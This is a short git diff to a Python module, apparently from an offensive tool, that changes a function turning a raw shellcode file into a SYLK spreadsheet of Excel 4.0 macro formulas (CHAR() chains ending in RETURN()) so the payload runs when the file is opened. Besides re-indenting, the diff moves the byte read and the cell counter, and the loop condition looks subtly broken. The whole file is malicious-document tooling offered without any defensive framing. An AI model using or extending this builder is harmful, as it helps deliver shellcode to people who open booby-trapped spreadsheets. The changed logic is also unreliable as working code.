diff --git a/modules/excel4.py b/modules/excel4.py
index 7982917..9e9bcaa 100644
--- a/modules/excel4.py
+++ b/modules/excel4.py
@@ -32,21 +32,21 @@ def build_shellcode_slk(shellcode_path):
 
 	slk_output = SHELLCODE_HEADER
 	with open(shellcode_path, "rb") as f:
-	    byte = f.read(1)
-	    i = 0
-	    cell=0
-	    while byte != "":
-		if i == 0:
+		byte = f.read(1)
+		i = 0
+		cell=0
+		while byte != "":
+			if i == 0:
+				cell=cell+1
+				slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
+			else:
+				slk_output+=("&")
+				slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
+				byte = f.read(1)
+			i+=1
+			if i == 20:
+				slk_output+=("\n")
+				i = 0
 			cell=cell+1
-			slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
-		else:
-			slk_output+=("&")
-		slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
-	        byte = f.read(1)
-		i+=1
-		if i == 20:
-			slk_output+=("\n")
-			i = 0
-	cell=cell+1
 	slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell)))
-	return slk_output
\ No newline at end of file
+	return slk_output